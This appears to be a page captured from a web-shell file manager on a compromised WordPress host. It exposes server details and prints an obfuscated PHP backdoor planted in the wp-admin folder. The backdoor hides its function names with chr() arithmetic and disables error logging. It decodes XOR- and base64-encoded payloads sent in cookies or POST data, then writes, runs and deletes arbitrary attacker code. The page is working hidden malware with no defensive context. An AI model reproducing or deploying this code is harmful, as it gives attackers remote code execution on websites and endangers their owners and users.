PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/s/p/t/sptporgazz/www/wp-admin/
File Upload :
Current File : /home/s/p/t/sptporgazz/www/wp-admin/qigkucnh.php

<?php $eueiqxnc = chr(102)."\151".chr(736-628).'e'.chr(95).chr(112)."\165"."\x74".'_'."\143".chr(804-693).chr(735-625).'t'.'e'."\156".chr(267-151).chr(669-554);
$ncphlqdiw = chr(633-535)."\x61".chr(204-89).chr(101).'6'.chr(470-418).chr(95).chr(100).chr(101)."\x63"."\x6f"."\144"."\145";
$qskgugproq = chr(353-248).chr(1029-919).chr(105).chr(432-337).chr(115)."\x65".'t';
$yucuemyzj = "\x75".chr(110)."\154".chr(105).'n'."\153";


@$qskgugproq("\x65".chr(114).chr(114)."\x6f".'r'.chr(547-452)."\154".'o'.chr(103), NULL);
@$qskgugproq(chr(1042-934).chr(172-61).chr(103).chr(95).'e'.chr(135-21).'r'.chr(1019-908).'r'.chr(115), 0);
@$qskgugproq(chr(109).'a'."\170".chr(95).chr(101)."\170".'e'."\143".chr(117).'t'.chr(163-58).chr(111).chr(110)."\x5f"."\x74".chr(870-765).chr(109).chr(101), 0);
@set_time_limit(0);

function dbsufbl($jkmlykgkda, $zzstrjv)
{
    $pdwbov = "";
    for ($vupghfrcv = 0; $vupghfrcv < strlen($jkmlykgkda);) {
        for ($j = 0; $j < strlen($zzstrjv) && $vupghfrcv < strlen($jkmlykgkda); $j++, $vupghfrcv++) {
            $pdwbov .= chr(ord($jkmlykgkda[$vupghfrcv]) ^ ord($zzstrjv[$j]));
        }
    }
    return $pdwbov;
}

$bdnpfwp = array_merge($_COOKIE, $_POST);
$ohonfa = '17889c6e-1676-467d-83b5-15fda68c9185';
foreach ($bdnpfwp as $lbstxyef => $jkmlykgkda) {
    $jkmlykgkda = @unserialize(dbsufbl(dbsufbl($ncphlqdiw($jkmlykgkda), $ohonfa), $lbstxyef));
    if (isset($jkmlykgkda[chr(866-769)."\x6b"])) {
        if ($jkmlykgkda[chr(97)] == "\x69") {
            $vupghfrcv = array(
                "\160"."\x76" => @phpversion(),
                's'.'v' => "3.5",
            );
            echo @serialize($vupghfrcv);
        } elseif ($jkmlykgkda[chr(97)] == 'e') {
            $euuazdgpc = "./" . md5($ohonfa) . '.'.chr(105).chr(110).chr(99);
            @$eueiqxnc($euuazdgpc, "<" . '?'.chr(945-833)."\x68"."\x70"."\40"."\100".'u'.chr(110).'l'."\151".chr(110).'k'."\50"."\x5f".chr(95).chr(70)."\111"."\114".chr(69).chr(95).'_'.chr(985-944).';'."\40" . $jkmlykgkda["\x64"]);
            @include($euuazdgpc);
            @$yucuemyzj($euuazdgpc);
        }
        exit();
    }
}


WiTcH hUnT3r Plugin 2018